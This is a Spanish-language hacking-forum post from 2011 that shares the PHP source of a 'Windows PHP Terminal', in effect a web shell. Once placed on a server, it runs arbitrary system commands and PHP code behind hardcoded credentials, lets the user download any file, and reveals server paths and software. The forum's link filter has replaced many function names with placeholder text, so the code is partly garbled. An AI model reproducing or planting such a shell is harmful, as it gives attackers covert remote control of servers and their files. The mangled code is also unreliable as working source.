comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Aporte] Windows PHP Terminal [Beta]

  • 0 Respuestas
  • 1041 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Miusi

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
  • 2 + 12 - (2 x 5) = 4 2 10
    • Ver Perfil
« en: Enero 19, 2011, 01:14:27 pm »
Windows PHP Terminal


Info:

 Ejecuta la mayoria de comandos.
Por el momento es una versión beta, lo cual no sorprenderia si tiene errores.

Demo: Link caido. Por ahora

Código: PHP
  1. <?php
  2.  
  3. /**
  4.  * @Versión: 0.1 Beta
  5.  * @Home http://miusi.diosdelared.com
  6.  * @Greetz: Xarnuz · eCORE · Rayok3nt · J3h35 · L0ve · s4r4d0 · Elemento_pcx (Fatal Error) · ToxiT · Basshettzx · Mafia Boys Crew members · Y para los demás... que me conocen!
  7.  */
  8.  
  9. No tienes permisos para ver links. Registrate o Entra con tu cuenta(0);
  10. No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  11.  
  12. // Configuración
  13. $config_command_prefix = "$";
  14. $config_username = "admin";
  15. $config_password = "r00t";
  16. $config_welcome = "<br />----------- BIENVENIDO A PHP TERMINAL -----------<br />";
  17. $config_file = No tienes permisos para ver links. Registrate o Entra con tu cuenta(__FILE__);
  18.  
  19. /**
  20.  * Lista de Código
  21.  *
  22.  * 200: OK
  23.  * 210: Descargar archivos x
  24.  * 220: Actualizar (Refresh)
  25.  * 300: Pedir datos (nombre de usuario y contraseña)
  26.  * 310: nombre de usuario incorrecto
  27.  * 320: Password ok
  28.  * 330: Password incorrecto
  29.  * 400: Problema con comando, Comando invalido
  30.  */
  31.  
  32.  
  33. $config_command_prefix = '<span class="prefix">' . $config_command_prefix . '</span>';
  34.  
  35.  
  36. if($_SESSION['terminal']['loggedin'] && No tienes permisos para ver links. Registrate o Entra con tu cuenta($_GET['file'])){
  37.         $file = No tienes permisos para ver links. Registrate o Entra con tu cuenta($_GET['file']);
  38.         No tienes permisos para ver links. Registrate o Entra con tu cuenta('Content-Description: File Transfer');
  39.         No tienes permisos para ver links. Registrate o Entra con tu cuenta('Content-Disposition: attachment; filename='.No tienes permisos para ver links. Registrate o Entra con tu cuenta($file));
  40.         No tienes permisos para ver links. Registrate o Entra con tu cuenta('Content-Length: ' . No tienes permisos para ver links. Registrate o Entra con tu cuenta($file));
  41.         No tienes permisos para ver links. Registrate o Entra con tu cuenta($file);
  42.         No tienes permisos para ver links. Registrate o Entra con tu cuenta();                        
  43. }
  44.  
  45.  
  46. if(No tienes permisos para ver links. Registrate o Entra con tu cuenta($_POST['action'])){
  47.         switch($_POST['action']){
  48.                
  49.                  
  50.                 case 'command':
  51.                         if(No tienes permisos para ver links. Registrate o Entra con tu cuenta($_POST['command'])){
  52.                                
  53.                                
  54.                                 $command = No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta($config_command_prefix, '', $_POST['command']));
  55.                                 $data['command'] = $command;
  56.                                 $data['color_command'] = color_command($command);
  57.                                
  58.                                
  59.                                 if(No tienes permisos para ver links. Registrate o Entra con tu cuenta($command, 'exit')){
  60.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  61.                                         $data['result'] = "No sabes los datos de login";
  62.                                         response($data, 220);
  63.                                 }
  64.                                
  65.                                
  66.                                 if(No tienes permisos para ver links. Registrate o Entra con tu cuenta($_POST['line'], 'username: ')){
  67.                                         $user = No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta('username: ', '', $command));
  68.                                         if($user == $config_username){
  69.                                                 $_SESSION['terminal']['username'] = $user;
  70.                                                 response($data, 300);
  71.                                         }else{
  72.                                                 response($data, 310, "Usuario incorrecto");
  73.                                         }
  74.                                 }
  75.                                
  76.                                
  77.                                 if(No tienes permisos para ver links. Registrate o Entra con tu cuenta($_POST['line'], 'password: ')){
  78.                                         $pass = No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta('password: ', '', $command));
  79.                                         if($pass == $config_password){
  80.                                                 $_SESSION['terminal']['password'] = $pass;
  81.                                                 $_SESSION['terminal']['loggedin'] = true;
  82.                                                 response($data, 320);
  83.                                         }else{
  84.                                                 response($data, 330, "Password incorrecto");
  85.                                         }
  86.                                 }
  87.                                
  88.                                
  89.                                 if(!No tienes permisos para ver links. Registrate o Entra con tu cuenta($_SESSION['terminal']['loggedin']) && !$_SESSION['terminal']['loggedin']){
  90.                                         response($data, 400, "Permiso denegado");
  91.                                 }
  92.                                
  93.                                
  94.                                 if(No tienes permisos para ver links. Registrate o Entra con tu cuenta($command, 'cd ')){
  95.                                         $path = No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta('cd ', '', $command));
  96.                                         $_SESSION['terminal']['path'] = compress_path($_SESSION['terminal']['path'] . '/' . $path);
  97.                                         $data['result'] = "";
  98.                                         $data['path'] = $_SESSION['terminal']['path'];
  99.                                         response($data);
  100.                                 }
  101.                                
  102.                                  
  103.                                 if(No tienes permisos para ver links. Registrate o Entra con tu cuenta($command, 'func ')){
  104.                                         $function = No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta('func ', '', $command));
  105.                                         $data['result'] = No tienes permisos para ver links. Registrate o Entra con tu cuenta( $function ) ? "exist" : "doesn't exist";
  106.                                         response($data);
  107.                                 }
  108.                                
  109.                                
  110.                                 if(No tienes permisos para ver links. Registrate o Entra con tu cuenta($command, 'exec ')){
  111.                                         $code = No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta('exec ', '', $command));
  112.                                        
  113.                                        
  114.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  115.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta($code);
  116.                                         $content = No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  117.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  118.  
  119.                                         $data['result'] = $content;
  120.                                         response($data);
  121.                                 }
  122.  
  123.                                
  124.                                 if($command != ""){
  125.                                         $data['result'] = execute($command, $_SESSION['terminal']['function']);
  126.                                         response($data);
  127.                                 }else{
  128.                                         response($data, 400, 'Empty command');
  129.                                 }
  130.                                
  131.                         }
  132.                         break;
  133.                        
  134.                  
  135.                 case 'init':
  136.                         if(!No tienes permisos para ver links. Registrate o Entra con tu cuenta($_SESSION['terminal']['function']) || $_SESSION['terminal']['function'] == ''){
  137.                                 $commander = getValidCommandFunction();
  138.                                 $_SESSION['terminal']['function'] = $commander;
  139.                         }
  140.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(1);
  141.                        
  142.                         $data['commander'] = $commander;
  143.                         $data['loggedin'] = No tienes permisos para ver links. Registrate o Entra con tu cuenta($_SESSION['terminal']['loggedin']) && $_SESSION['terminal']['loggedin'] ? true : false;
  144.                         response($data);
  145.                         break;
  146.         }
  147.         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  148. }
  149.  
  150. /**
  151.  *
  152.  *
  153.  *
  154.  *
  155.  *
  156.  *
  157.  */
  158. function response($data, $code=200, $error=""){
  159.        
  160.         $response['code'] = $code;
  161.         $response['error'] = $error;
  162.         $response['data'] = $data;
  163.        
  164.         echo No tienes permisos para ver links. Registrate o Entra con tu cuenta($response);
  165.         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  166.        
  167. }
  168.  
  169. /**
  170.  * Windows
  171.  *
  172.  * @
  173.  */
  174. function isWindows(){
  175.         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  176.         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  177.         $phpinfo = No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  178.         return No tienes permisos para ver links. Registrate o Entra con tu cuenta('~System </td><td class="v">([^<]*Windows)~',$phpinfo) ? true : false;       
  179. }
  180.  
  181. function getValidCommandFunction(){
  182.         // Prueba
  183.         $test_command = isWindows() ? 'dir' : 'ls';
  184.        
  185.         //
  186.         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  187.         No tienes permisos para ver links. Registrate o Entra con tu cuenta($test_command);
  188.         $result = No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  189.         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  190.         if(No tienes permisos para ver links. Registrate o Entra con tu cuenta($result) != '' && !No tienes permisos para ver links. Registrate o Entra con tu cuenta($result, 'Deshabilitado por Seguridad')) return 'system';
  191.        
  192.         //
  193.         $result = No tienes permisos para ver links. Registrate o Entra con tu cuenta($test_command);
  194.         if(No tienes permisos para ver links. Registrate o Entra con tu cuenta($result) != '' && !No tienes permisos para ver links. Registrate o Entra con tu cuenta($result, 'Deshabilitado por Seguridad')) return 'exec';
  195.        
  196.         //
  197.         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  198.         No tienes permisos para ver links. Registrate o Entra con tu cuenta($test_command);
  199.         $result = No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  200.         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  201.         if(No tienes permisos para ver links. Registrate o Entra con tu cuenta($result) != '' && !No tienes permisos para ver links. Registrate o Entra con tu cuenta($result, 'Deshabilitado por Seguridad')) return 'passthru';
  202.        
  203.         // shell_exec
  204.         $result = No tienes permisos para ver links. Registrate o Entra con tu cuenta($test_command);
  205.         if(No tienes permisos para ver links. Registrate o Entra con tu cuenta($result) != '' && !No tienes permisos para ver links. Registrate o Entra con tu cuenta($result, 'Deshabilitado por Seguridad')) return 'shell_exec';
  206.        
  207. }
  208.  
  209. function execute($command, $function, $n_to_br=true){
  210.        
  211.         $chdir = '';
  212.         if($_SESSION['terminal']['path'] != ''){
  213.                 if(isWindows()){
  214.                         if(!@No tienes permisos para ver links. Registrate o Entra con tu cuenta( $_SESSION['terminal']['path'] )){
  215.                                 $_SESSION['terminal']['path'] = '';
  216.                                 $data['result'] = "Has vuelto al directorio .";
  217.                                 response($data);
  218.                         }
  219.                 }else{
  220.                         $chdir = "cd " . $_SESSION['terminal']['path'] . "\n";
  221.                 }
  222.         }
  223.        
  224.        
  225.         switch($function){
  226.                
  227.                 case 'system':
  228.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  229.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta($chdir . $command);
  230.                         $result = No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  231.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  232.                         break;
  233.                 case 'exec':
  234.                         $result = No tienes permisos para ver links. Registrate o Entra con tu cuenta($chdir . $command);
  235.                         break;
  236.                 case 'passthru':
  237.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  238.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta($chdir . $command);
  239.                         $result = No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  240.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  241.                         break;
  242.                 case 'shell_exec':
  243.                         $result = No tienes permisos para ver links. Registrate o Entra con tu cuenta($chdir . $command);
  244.                         break;
  245.                 default:
  246.                         $result = false;
  247.                         break;
  248.         }
  249.        
  250.         return $n_to_br ? No tienes permisos para ver links. Registrate o Entra con tu cuenta( No tienes permisos para ver links. Registrate o Entra con tu cuenta( $result )) : No tienes permisos para ver links. Registrate o Entra con tu cuenta($result);
  251.        
  252. }
  253.  
  254. function compress_path($path){
  255.        
  256.         //
  257.         $clean = No tienes permisos para ver links. Registrate o Entra con tu cuenta('\\', '/', $path);
  258.        
  259.         //
  260.         $clean = No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta('////', '///', '//'), '/', $clean);
  261.        
  262.         if(No tienes permisos para ver links. Registrate o Entra con tu cuenta($clean, 0, 1) == "/") $clean = No tienes permisos para ver links. Registrate o Entra con tu cuenta($clean, 1);
  263.        
  264.         return $clean;
  265. }
  266.  
  267. function color_command($command){
  268.         $parts = No tienes permisos para ver links. Registrate o Entra con tu cuenta(' ', $command);
  269.         $parts[0] = '<span class="keyword">' . $parts[0] . '</span>';
  270.         return No tienes permisos para ver links. Registrate o Entra con tu cuenta(' ', $parts);
  271. }
  272.  
  273. ?>
  274.  
  275. <html>
  276. <head>
  277. <title>Windows Terminal PHP</title>
  278. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.1/jquery.min.js" type="text/javascript"></script>
  279. <style>
  280.         body{
  281.                 text-align: center;
  282.                 font-size: 11px;
  283.                 font-family: verdana;
  284.                 background-color: #EFEFEF;
  285.         }
  286.         h1 {
  287.                 padding: 10px 15px;
  288.                 margin: 0px;
  289.                 font-size: 14px;
  290.                 background-color: #747474;
  291.                 background-image: -moz-linear-gradient(100% 100% 90deg, #777, #999) !important;
  292.         background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#999), to(#777)) !important;
  293.                 color: #FFF;
  294.                 -webkit-border-radius: 4px;
  295.                 -moz-border-radius: 4px;
  296.                 border-radius: 4px;
  297.                 text-shadow:1px 1px 2px #333333;
  298.         }
  299.         table {
  300.                 width: 565px;
  301.         }
  302.         table tr td{
  303.                 font-family: verdana;
  304.                 font-size: 11px;
  305.                 padding: 10px 5px;
  306.                 border-bottom: solid 1px #CCC;
  307.                
  308.         }
  309.         #wrapper{
  310.                 width: 600px;
  311.                 margin: 20px auto;
  312.                 text-align: left;
  313.         }
  314.         #console{
  315.                 height: 200px;
  316.                 overflow: auto;
  317.                 background-color: #000;
  318.                 padding: 15px;
  319.                 font-family: monospace;
  320.                 font-size: 12px;
  321.                 color: #FFF;
  322.         }
  323.         .content{
  324.                 padding: 15px;
  325.         }
  326.         #commander{
  327.                 border: solid 1px #CCC;
  328.                 padding: 5px 10px;
  329.                 -webkit-border-radius: 2px;
  330.                 -moz-border-radius: 2px;
  331.                 border-radius: 2px;
  332.                 margin: 5px;
  333.                 width: 590px;
  334.                 height: 30px;
  335.         }
  336.         .box{
  337.                 -moz-box-shadow: 1px 1px 8px #666;
  338.                 -webkit-box-shadow: 1px 1px 8px #666;
  339.                 box-shadow: 1px 1px 8px #666;
  340.                 border: solid 1px #DDD;
  341.                 -webkit-border-radius: 4px;
  342.                 -moz-border-radius: 4px;
  343.                 border-radius: 4px;
  344.                 margin: 15px 0px;
  345.                 background-color: #F5F5F5;
  346.         }
  347.         #help{
  348.                 width: 300px;
  349.                 float: right;
  350.         }
  351.         .prefix{
  352.                 color: #0077E7;
  353.         }
  354.         .keyword{
  355.                 color: #9eff63;
  356.         }
  357.         .error{
  358.                 color: #FF0000;
  359.         }
  360.         .spacer{
  361.         clear: both;
  362.         display: block;
  363.         text-align: center;
  364.         }
  365. </style>
  366. <script type="text/javascript">    
  367.  
  368.         // Config
  369.         var config_command_prefix = '<?php echo $config_command_prefix ?>';
  370.         var config_welcome = '<?php echo $config_welcome ?>';
  371.         var command_stack = Array();
  372.         var command_stack_position = 0;
  373.  
  374.         $(document).ready(function() {
  375.             $.post("<?php echo $config_file; ?>", {action: 'init'}, function(response){
  376.                         var extra = response.data.loggedin ? 'Bienvenido a Windows Terminal' : ' username: ?';
  377.                 $("#console").html($("#console").html() + "<br />" + config_command_prefix + extra);
  378.                 $("#commander").attr('disabled', false);
  379.                         // Set focus to commander
  380.                 $("#commander").focus();
  381.                
  382.                 }, "json");
  383.         });
  384.  
  385.         function execute(field,event) {
  386.                 var theCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
  387.                 if(theCode == 38){
  388.                         if(command_stack_position > 0) command_stack_position--;
  389.                         $("#commander").val(command_stack[command_stack_position]);
  390.                 }else if(theCode == 40){
  391.                         if(command_stack_position < (command_stack.length-1)) command_stack_position++;
  392.                         $("#commander").val(command_stack[command_stack_position]);
  393.                 }else if (theCode == 13){
  394.  
  395.                         // Get the inputed command
  396.                         var command = $("#commander").val();
  397.                         $("#commander").val('');
  398.  
  399.                         // Add command to stack and update position
  400.                         command_stack.push( command );
  401.                         command_stack_position = (command_stack.length);
  402.                        
  403.                         // Get the last line of the result window to see if there was a question
  404.                         var lines = $("#console").html().toLowerCase().split('<br>');
  405.                         var line = lines[lines.length-1];
  406.  
  407.                         // Check if it is a download command
  408.                         if(command.indexOf("download") > -1){
  409.                                 var file = command.replace('download ', '');
  410.                                 window.location = '<?php echo $config_file; ?>?file=' + file;
  411.                                 return;
  412.                         }
  413.  
  414.                         // Check if it is a cls command
  415.                         if(command.indexOf("cls") == 0 || command.indexOf("clear") == 0){
  416.                                 $("#console").html("");
  417.                                 return;
  418.                         }
  419.                        
  420.                         $.post("<?php echo $config_file; ?>", {action: 'command', command: command, line: line}, function(response){
  421.                                 if(response.code == 200){
  422.                                         show = (response.data.result == null) ? "" : response.data.result + "<br />";
  423.                                         result = config_command_prefix + " " + response.data.color_command + "<br />" + show;
  424.                                 }else if(response.code == 220){
  425.                                         window.location = '<?php echo $config_file; ?>';
  426.                                 }else if(response.code == 310){
  427.                                         result = response.error + "<br />" + config_command_prefix + " username: ?";
  428.                                 }else if(response.code == 320){
  429.                                         result = config_welcome + "<br />" + config_command_prefix + " ";
  430.                                 }else if(response.code == 330){
  431.                                         result = response.error + "<br />" + config_command_prefix + " password: ?";
  432.                                 }else if(response.code == 300){
  433.                                         result = config_command_prefix + " password: ?";
  434.                                 }else{
  435.                                         result = '<span class="error">' + response.error + "</span><br />";
  436.                                 }
  437.                                 $("#console").html($("#console").html() + '<br />' + result ).focus();
  438.  
  439.                                 // Scroll to bottom
  440.                                 textareaelem = document.getElementById('console');
  441.                                 textareaelem.scrollTop = textareaelem.scrollHeight;
  442.  
  443.                                 // Set focus to commander
  444.                                 $("#commander").focus();
  445.                                
  446.                         }, "json");
  447.                         return false;
  448.                 }else{
  449.                         return true;
  450.                 }
  451.  
  452.         }
  453.  
  454. </script>
  455.        
  456. </head>
  457. <body>
  458.  
  459. <div id="wrapper">
  460.         <div class="box">
  461.                 <h1>Terminal@<?php echo $_SERVER['SERVER_NAME']; ?></h1>
  462.           <div id="console"><?php echo $config_command_prefix ?> Cargando terminal windows ...</div>
  463.                 <input text="test" id="commander" onKeyUp="execute(this,event);" disabled="disabled" />
  464.         </div>
  465.  
  466.         <div class="box">
  467.                 <h1> Informaci&oacute;n del Sistema</h1>
  468.                 <div class="content">
  469.                         <table cellpadding="5" cellspacing="0" >
  470.                                 <tr>
  471.                                         <td>PHP Versi&oacute;n</td>
  472.                                         <td align="right"><?php echo No tienes permisos para ver links. Registrate o Entra con tu cuenta(); ?></td>
  473.                                 </tr>
  474.                                 <tr>
  475.                                         <td>Host</td>
  476.                                         <td align="right"><?php echo $_SERVER['HTTP_HOST']; ?></td>
  477.                                 </tr>
  478.                                 <tr>
  479.                                         <td>Full path</td>
  480.                                         <td align="right"><?php echo No tienes permisos para ver links. Registrate o Entra con tu cuenta(__FILE__); ?></td>
  481.                                 </tr>
  482.                                 <tr>
  483.                                         <td>Server</td>
  484.                                         <td align="right"><?php echo $_SERVER['SERVER_SOFTWARE'] ?></td>
  485.                                 </tr>
  486.                         </table>
  487.                 </div>
  488.         </div>
  489.  
  490.         <div class="spacer"><!-- SPACER --><SCRIPT LANGUAGE="JavaScript">
  491. function mi_alerta () {
  492. alert ("Alejandro - Basshettzx - Antrax - SeR00T - Flemon - N350k - Aioros - TrueneX - L0ve - Cronos - Dracko - Xarnuz - eCORE - Pois0n-r00t - J3h35  - CruTsy  - Cristina Fernandez de Kichner.!");
  493. }
  494. </SCRIPT>
  495. </HEAD>
  496. <BODY>
  497. <FORM>
  498. <input type=button value="Greetz" onClick="mi_alerta()">
  499. </FORM></div>
  500. </div>
  501.  
  502. </body>
  503. </html>
« Última modificación: Julio 14, 2014, 12:51:01 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



[APORTE] edPDF - "Libreria" para edicion y creacion de PDFs

Iniciado por kid_goth

Respuestas: 4
Vistas: 994
Último mensaje Marzo 10, 2014, 07:15:31 pm
por kid_goth
[Shell] AK-74 Security Team Web Shell Beta Version!

Iniciado por Mayk0

Respuestas: 0
Vistas: 1269
Último mensaje Abril 27, 2013, 10:11:08 am
por Mayk0